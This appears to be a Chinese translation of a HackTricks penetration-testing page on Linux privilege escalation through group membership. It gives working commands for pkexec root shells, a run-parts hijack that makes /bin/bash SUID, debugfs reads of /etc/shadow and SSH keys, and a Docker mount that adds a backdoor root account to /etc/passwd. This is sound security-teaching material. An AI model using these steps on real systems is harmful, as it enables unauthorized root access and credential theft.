Interesting Groups - Linux Privesc

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

Sudo/Admin 组

PE - 方法1

有时默认情况下(或因为某些软件需要),您可以在**/etc/sudoers**文件中找到以下一些行:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

这意味着属于sudo或admin组的任何用户都可以作为sudo执行任何操作

如果是这种情况,要成为root用户,只需执行

sudo su

PE - 方法2

查找所有SUID二进制文件,并检查是否存在二进制文件 Pkexec

find / -perm -4000 2>/dev/null

如果发现二进制文件 pkexec 是 SUID 二进制文件,并且你属于 sudoadmin 组,你可能可以使用 pkexec 以 sudo 权限执行二进制文件。 这是因为通常这些组是 polkit 策略 中的组。该策略基本上标识了哪些组可以使用 pkexec。使用以下命令检查:

cat /etc/polkit-1/localauthority.conf.d/*

在这里,您将发现允许执行pkexec的组以及在某些Linux发行版中默认情况下出现的sudoadmin组。

成为root用户,您可以执行

pkexec "/bin/sh" #You will be prompted for your user password

如果尝试执行 pkexec 时出现以下 错误

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

这不是因为你没有权限,而是因为你没有连接到图形界面。这里有一个解决此问题的方法:https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903。你需要2个不同的ssh会话

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

有时候默认情况下,您可以在**/etc/sudoers**文件中找到这行:

%wheel	ALL=(ALL:ALL) ALL

这意味着任何属于wheel组的用户都可以作为sudo执行任何操作

如果是这种情况,要成为root用户,只需执行

sudo su

阴影组

来自 shadow 组 的用户可以 读取 /etc/shadow 文件:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

所以,阅读文件并尝试破解一些哈希值

Staff 组

staff:允许用户在不需要 root 权限的情况下向系统 (/usr/local) 添加本地修改(请注意,/usr/local/bin 中的可执行文件在任何用户的 PATH 变量中,它们可能会“覆盖”具有相同名称的 /bin/usr/bin 中的可执行文件)。与与监控/安全性更相关的组“adm”进行比较。来源

在 Debian 发行版中,$PATH 变量显示 /usr/local/ 将作为最高优先级运行,无论您是特权用户还是非特权用户。

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

有趣的 Linux 特权提升组

如果我们能劫持 /usr/local 目录中的一些程序,就很容易获取 root 权限。

劫持 run-parts 程序是一种轻松获取 root 权限的方法,因为大多数程序都会运行类似 run-parts 的程序(比如 crontab,在 SSH 登录时)。

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

或者当一个新的ssh会话登录时。

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

利用

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

磁盘组

这种权限几乎等同于 root 访问权限,因为您可以访问机器内的所有数据。

文件:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

请注意,使用 debugfs 您也可以写入文件。例如,要将 /tmp/asd1.txt 复制到 /tmp/asd2.txt,您可以执行以下操作:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

然而,如果您尝试写入属于root的文件(如/etc/shadow/etc/passwd),您将收到“Permission denied”错误。

视频组

使用命令w,您可以找到谁登录到系统,并且它将显示以下输出:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1 表示用户 yossi 物理登录 到机器上的终端。

video 组 具有查看屏幕输出的权限。基本上你可以观察屏幕。为了做到这一点,你需要以原始数据的形式 抓取屏幕上的当前图像 并获取屏幕正在使用的分辨率。屏幕数据可以保存在 /dev/fb0 中,你可以在 /sys/class/graphics/fb0/virtual_size 中找到这个屏幕的分辨率。

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

打开原始图像,您可以使用GIMP,选择**screen.raw **文件,并选择文件类型为原始图像数据

然后修改宽度和高度为屏幕上使用的值,并检查不同的图像类型(选择显示屏幕效果更好的类型):

Root组

看起来默认情况下root组的成员可能可以访问修改一些服务配置文件或一些文件或其他有趣的东西,这些可能被用来提升权限...

检查root成员可以修改哪些文件

find / -group root -perm -g=w 2>/dev/null

Docker 组

您可以将主机机器的根文件系统挂载到实例的卷上,因此当实例启动时,它立即将 chroot 加载到该卷中。这实际上让您在该机器上获得了 root 权限。

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

最后,如果您不喜欢之前的任何建议,或者由于某种原因(比如docker api防火墙?),您可以尝试运行一个特权容器并从中逃逸,如下所述:

pageDocker Security

如果您对docker套接字具有写权限,请阅读关于如何滥用docker套接字提升权限的这篇文章

lxc/lxd 组

pageInteresting Groups - Linux Privesc

Adm 组

通常,adm组的成员具有读取位于 /var/log/ 中的日志文件的权限。 因此,如果您已经入侵了该组中的用户,您应该绝对查看一下日志

Auth 组

在OpenBSD中,auth组通常可以写入 /etc/skey/var/db/yubikey 文件夹(如果使用)。 可以利用以下漏洞滥用这些权限以将权限升级为roothttps://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于